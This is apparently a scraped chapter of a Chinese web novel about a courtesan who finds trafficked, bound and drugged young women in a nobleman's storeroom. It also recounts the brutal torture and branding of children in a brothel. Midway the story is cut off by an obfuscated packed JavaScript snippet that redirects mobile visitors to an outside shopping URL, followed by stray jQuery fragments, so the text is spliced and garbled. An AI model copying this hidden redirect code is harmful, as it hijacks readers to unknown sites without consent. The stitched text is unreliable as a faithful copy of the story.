小厮怀里抱着个木头饭桶，不大，但也着实不讲究，连盖子都没有，大敞四开地暴露在空气里。


    要是赵家老爷会吃这样的东西，揽云是头一个不信的。事出反常必有妖，她小心翼翼地跟着，不敢发出一点声响。


    幸好没走多远，小厮谨慎地停在柴房隔壁的杂物间门口，下意识地观察周围环境，确认附近没有人才推开门走进去。


    杂物房里灯光昏暗，废弃的桌椅箱笼无序地堆叠着，揽云站在门外隔着一段距离，使劲眯起眼睛才能看清一二。


    屋子里显然没有热乎气，小厮开口说话时，一缕白雾掺着星星点点的灰尘在空中飘散。正对着的视角看不见其他，揽云摸着转头墙往前挪。


    好不容易能看清一些，小厮竟把那条窄小的门缝也完全关严实，她只能隐约看见几个吊在房梁上的人，其他的便再看不到了。


    兴许是被吊着的缘故，视线有误差，看不出身量外貌。光看那轮廓，大约都不是男子。


    揽云瞧不出头绪，准备再靠近一些，谁知这时，那小厮抱着半空的桶正往外走。老旧门轴发出凄厉的开合声，飘荡在无人涉足的空旷院子里，像惨叫，也像求饶。


    她将身体紧紧贴着墙面，屏住呼吸，心跳得极快，生怕被人发现。


    还好没有立即逃跑，树枝灌木依旧静止没有异象，小厮只粗粗环顾了一圈就走了。


    不知等了多久，直到她手脚麻木，差点站都站不直。一道垂花门隔开了生与死的边界，前院里仍旧喧嚣不断，她探着脚尖往前走两步就要回头看一眼，生怕小厮去而复返被捉个正着。


    方才听着门轴开合的声响巨大，她不敢贸然走正门，拿手指在汗湿的鬓边一抹，就着水渍在侧面窗户纸上开了个小洞。


    只这一眼，便叫她如坠冰窟。


    赵乾府邸富贵气派，水榭楼台曲径通幽，就连鲜少有人涉足的杂物房都比普通人整个家还要大。墙角竖着圆木，其他地方堆满了主子舍弃的旧物。


    掉漆的方桌、生锈的柜门……一堆家伙式儿等着修整变卖，摆放时也就没那么讲究，一层一层摞得很高。


    那几个近乎赤.裸的姑娘就被吊在那张方桌的正上方，双手被捆缚，脚踝上扣着锁。


    那锁很重很冰，沉沉的一串坠下来，把活生生的人抻成了幽魂。


    姑娘们脚踝上都是挣扎磕碰出来的青紫，一块一块大小不一地向上生长，触目惊心。


    揽云捂住嘴，弓着腰站在房外无声落泪。


    几碗粥就搁在一张积满灰尘的旧桌上，不知后来被人加了什么进去，看起来白中透粉，不是方才在厨房见到的样子。


    热气沿着碗边氤氲而上，沉闷的腐朽气里登时掺杂了一股浅淡的甜香。


    那股子香味清淡，时隐时现，随着姑娘们挣扎的动作不住地扩散开。


    有两个几近昏迷的女孩被这味道勾出一丝清明神智，她们脑袋垂着，眼睛呆楞楞地盯着粥看，房间里很快传出吞咽口水的声音。


    “我饿……真的太饿了，咱们要不从了吧。”


    没注意是谁起的头，说罢，只见好几人点头附和。


    姑娘们的脸上呈现出惨淡的灰白，不知被人关在这里虐待了多久，连说话声都很微弱。


    其他人绷紧身体扭动起来，显然是被说服。


    只有一人沉默地闭着眼不说话，她嘴角抿紧，手指不断地抠着粗壮的麻绳，试图寻找一线生机。


    起头的姑娘大概是实在抵抗不了生理本能，正要出声喊人，就被那双沉静的眼神制止。


    “不怕死你就吃。”


    “能……能有什么毒，他们也不是要我们的命，怎么会，怎么会下毒……不会的。”


    那人提醒一句后就再不出声，手上的动作变得更加快速。她不耐地轻啧一声，眉心聚起了火，那双手磨破了皮，血把麻绳都浸红。


    她烦躁地抬头往上看，余光似乎注意到了漏光的那处，顿时停下了动作。


    揽云没见过章娩，不过总听鸣风提起，在他口中，章家二姑娘是个极活泼可爱的性子，整个人生得白净，一张鹅蛋脸还是肉嘟嘟的，是富贵人家养出来的姑娘。


    她视线从几人身上一一扫过，没瞧出哪个像二姑娘，于是挪开眼睛，从破口对着房里轻声喊了几声“寒英”——这是章娩的小字，除了最亲近的家人，旁人不会知道。


    房里的人闻声齐齐扭过头来，大多都是一脸懵懂，不知门外的人喊的是什么，那位最沉着冷静的姑娘除外。


    她的眼睛在听到“寒英”二字后倏地瞪圆了，手上的动作顿住，整个人开始小幅度地颤抖。


    揽云明显发现了她的异常，心想竟这么巧还真让自己碰上了，她手心潮湿，神经紧绷着不敢轻举妄动。


    前面隐约有人在喊她，她不敢再耽搁，撂下一句“等我”就匆匆离开。


    好在她人在外头，去找素莺也方便，于是趁着车夫套马的功夫给人塞了几两银子，又嘴甜地解释道：“正好今天出来，我想去一个姊妹家里探望，天儿这么冷，就不劳烦您再送一趟，我探完了人自己回便好。”


    车夫乐得清闲，一下就应了。


    宴席散时已经深夜，等她们这帮人收拾好东西从赵家出去时天上微微泛起鱼肚白。


    揽云什么行头都没拿，跟楼里的姐妹知会一声就走了。


    街上莫说人，连只野猫都没有。她强忍着害怕一路步行过来，心里又有这样大的事压着，站在门外时整个人几乎快崩溃了。


    彼时顾不得扰不扰民，只想赶紧见到活人，再把消息传进去。


    姐弟二人一躺一站，听完都沉着脸不做声。


    “我害怕……我害怕极了……”揽云抱着素莺，眼泪顺着脸颊流在枕头上，“她们粥里掺的东西……那东西是郭妈妈日日叫我们喝的润颜水。”


    她攀着身边人的肩膀，声音颤抖得不像样：“那个味道我绝不会认错！”


    麟香阁能在京城扎根多年不倒反盛，除了有郭妈妈联络各方人马明着交易也好、暗中贿赂也罢，再有就是楼里姑娘的姿色涵养比外头的那些不知高出多少来。


    郭妈妈从前不知做的什么生意，那双眼睛很是毒辣。被送到她手上的孩子，只一眼便能看出长开后的模样，是柔是妖，她将人从头到脚扫过一眼就能下定论。


    这些孩子被蒙着眼捆成一排，皆从主楼身后的小院侧门塞进来。


    院子里是厨房和几间大通铺，环境自然比不上主楼，但看守极严，关着人的房间门口都有高手看着，妄想逃跑简直是死路一条。


    恫吓和拷打从来不是玩笑，是拳拳到肉、鞭鞭锥骨的警告。


    不论男孩女孩，进门后的首要任务就是把人脱光了检查胎记。从头顶到脚底，一寸裸露的皮肤都不会放过。


    看到明显的胎记或者伤疤，不管如何求饶，下场都是被一把烧红的烙铁烫个皮开肉绽。


    烫过之后再敷上上好的伤药，孩子年纪小，大部分的伤口都能重新长出血肉，不仔细看根本发现不了。


    就算烫坏了也无妨，等新皮长出来再文上妖冶的图案遮盖就是了。


    反正都是烂命一条，死了就死了，人么，满大街那还不多得是。


    长命锁、小耳坠之类的更不必说，大多在人牙子手上时就被撸走了，等到了这儿，再怎么藏也是藏不住的，通通被翻出来拿去抵卖。


    吃饭从不给人吃饱，能有米糠兑水喝就算不错了；衣服也只有上身的薄薄一层，下.身光着不着寸缕，让人连院子门都走不出去。先将人的意志磨平，接下来就是拳打脚踢的记性。


    没有人从郭妈妈手上成功逃出去，除非横尸一具。


    调教好的孩子要开始上课，书、画、琴、曲、奏，非得样样精通才能像个人一样活着，有饭吃有衣服穿，不必像深林里的小兽。


    很多人一开始昂着脖子强挺着，不论言辞侮辱或是掌掴鞭挞，咬着一口牙恨恨地望着。


    不肖几日，那眼神黯淡了，手脚也不会挣扎，木偶似的任人搓弄。


    揽云不是在郭妈妈手上磨出来的，她来的时候早就是大姑娘了，深知知道这些手段的厉害，从不做顶撞反抗之事，几乎没吃过什么苦头，郭妈妈对她们这些识趣的姑娘们看管得并不十分严。


    除了每日的功课，再就是要她们保养皮肤，内外兼修。鲜有姑娘不爱打扮，被困在楼里无事可做，泡澡、熏香、抹脸的话题起个头，很快便能招来一大帮姐妹探讨。


    郭妈妈在吃穿用度上不苛待，甚至得了什么好东西都会拿来分着用。


    不知从何时起，楼里开始流行起了润颜水。


    这水呈浅淡的粉色，香气微弱怡人，入口有股清幽花香，不论是用来喝或是泡澡都是极好的。


    因着喜欢的人多，楼里开始长期供应着，就像有人嗜茶贪酒，姑娘们逐渐把润颜水当白水喝。


    要是喝习惯了，几日尝不着味儿还怪想的。


    揽云说了半天话口干舌燥，想起疑点颇多的润颜水，吓得咬破了唇。


    “我想喝水……井水，越凉越好！请弟弟去帮我打些水来！”


    鸣风听罢转身出去给她打水，他动作快，没多久就能回房里来，揽云趁着这会儿功夫抓紧了素莺的胳膊，单薄的里衣被攥出数道褶皱。


    似乎是下了极大的决心，她捂着嘴，连话都说不利索：“姐姐，那几个姑娘……她们，她们……亵裤上都是血！”


    “这可怎么办呀！”


    素莺对这些灰色地带调教人的法子略有耳闻，按照常理，姑娘们的头一夜是早早就被高价定下的，妈妈们再怎么管教也不会贸然……


    可她转念一想，这些人不在花楼，是在他赵家的后宅内。


    人家府上买几个丫鬟回来管教，旁人也插不得手，想管也是力不从心。


    素莺见着血，不由得想起自己早年的遭遇，整个人死命扒住素莺颤抖。


    素莺伸手抱着将她拢在怀里，轻拍着后背安抚：“不怕，啊。万


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980435|193560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一是月事来了也说不准，谁知道她们进府多久了，先别想了。”


    “家里这么多人呢，总会有办法。”


    揽云抑制不住地跟着重复：“对对对，总会有办法，总会有办法！”


    京城遍地世家大族，规矩多礼数更甚，像姑娘失贞这种事被人知晓，就算父母接受，恐怕也能被周围人的唾沫星子淹死。


    高门大户里的闺阁小姐和普通人家的姑娘丫头守着同样的严苛制度，不敢行差踏错一步。


    素莺看得开，毕竟是死过一回的人，捅破天的大事她都不放在眼里，贞洁再重要也越不过性命去，只要人活着，生命就还有无限可能。


    她如此坦然镇定的模样很能抚慰人心，揽云深呼吸了几回，不再压着嗓子大哭。


    鸣风体贴地在房内哭声逐渐矮下去后才端着杯冰冷的井水进来，揽云调整好呼吸，伪装出缓和过来的模样，撑着床褥慢慢坐直了身子。


    她举杯仰头一饮而尽，整个人从内到外被冰封住，终于镇定下来。


    素莺也坐起来，在后腰处垫了两块软枕，她伸手拽出那条被蹂躏皱了的大氅披在二人肩头，密友相谈似的缩在一块。


    鸣风拖着条板凳坐下，没挨着床，隔了十来步的距离。


    他见人不再惊慌，这才追问详情。


    “姐姐，你说的那个润颜水，它……到底是什么味儿？哪种花的香，能说个类似的么？”


    他是麟香阁的常客，却从没听鸨母说起过什么“润颜水”，原来是专供姑娘们使的，倒是奇怪。


    既然找到了头绪，不管到底是不是小章娩，这事儿他都打定主意要横插一脚。


    那姑娘既然敢说粥里有毒，想必是发现了什么，这事可大可小，说不准亦是一个突破口。


    现在手头上的线索太少，光是大海捞针式的搜查远远不够，他迫切需要一个能和那只雕梅的镯子同样有力的证据。


    白日里不好行动，翻墙进院得等到午夜。


    天才刚亮，大道上的吆喝声渐渐传到院子里来，揽云双目对着窗棂发怔，手里握着坚冰一般的水杯不撒手，好不容易擦干净的脸上又有热泪滚落下来。


    “说不上来，像茉莉，又像金桂，还有股蜜香，几种味道杂糅在一块，分辨不出具体的特徵。”


    指尖沿着杯口无意识地滑动，脑中细数自己到底喝了多少不明不白的润颜水。


    她抬手摸摸心口，又顺势向上摸了摸脸颊，一切正常，连痛感也没有。


    “那水只有极淡一丝甜味，不仔细品鉴压根察觉不出来。倒在素净的白瓷杯里才发现是淡粉色的，楼里不少姑娘都用这水沐浴，时日久了，身上难免沾上同样的味道。”


    不知道郭妈妈从哪里寻摸来的宝贝，香气淡雅还十分便宜，能长久地供着她们挥霍。


    “要么……趁着今日，叫鸣风直接给你赎出来吧，回家来，别走了。”素莺舍不得她在虎狼窝里吃苦，姐弟二人一心相劝，劝到今日她也不肯。


    “不成不成！你看看，这又发现一处疑点，我回去还能偷摸叫人送点润颜水回来给你们研究，现在不是退的时候呀我的好姐姐！”


    说起正事，她激动起来，不知给自己定了多大的目标，说什么都要再回去。


    “何况……我今日要是一去不返，往后有姐妹想趁着外出的时机逃回家去也不成了，我不能把这条路堵死。要是有本事，能走一个是一个吧，全看造化。我身后早有退路，不能再霸占独木桥啊素莺！”


    姐弟二人拗不过她，便不再相劝。反正楼里还有自己人盯梢，要是发现不对能第一时间把人捞回来，只要在自己眼皮子底下就成。


    泪也流过、话也说完，揽云腹中的饥饿劲儿这时猛地返上来，房里响起一串肠鸣。


    “坏了！”揽云想起来昨夜藏在袖子里的点心，抬起手来翻找，袖管里躺着一堆酥皮渣子。


    素莺失笑，让鸣风抬了水进来，二人在房里收拾妥帖后一齐去了正堂。


    今日轮到长亭出摊，他起得比往常更早，早饭做好后全在灶上温着，见人来齐，指挥几个小的去端。


    敲门声那样猛烈，院子里的人都听见了，但他们不提，一堆小的便也不问。


    长亭都没上桌，手上拿了两个包子就要走。


    鸣风一进门就没看见江贞，早饭吃得心不在焉。他跟着长亭走到厨房，伸手将人拦住。


    “留碗馄饨在家里呗。”他没明说是给谁的，长亭瞧瞧对门，对他翻了个白眼。


    “还说不在乎，人就一个早上没来，你都恨不得闯进他被窝里去看看到底怎么了。死鸭子嘴硬！”嘴上说归说，手上动作也没闲着，他掀开盖着面皮和肉馅儿隔板上的棉布，飞快地包了二十来个大馄饨。


    “诶，我说你这话也太……”


    “太什么？太对了？太准了？瞧你这小媳妇样儿吧！”长亭把布盖好，把这根碍眼的树桩子往旁边一推，哼着曲开工去了。


    单方面腻歪的男人最碍眼了！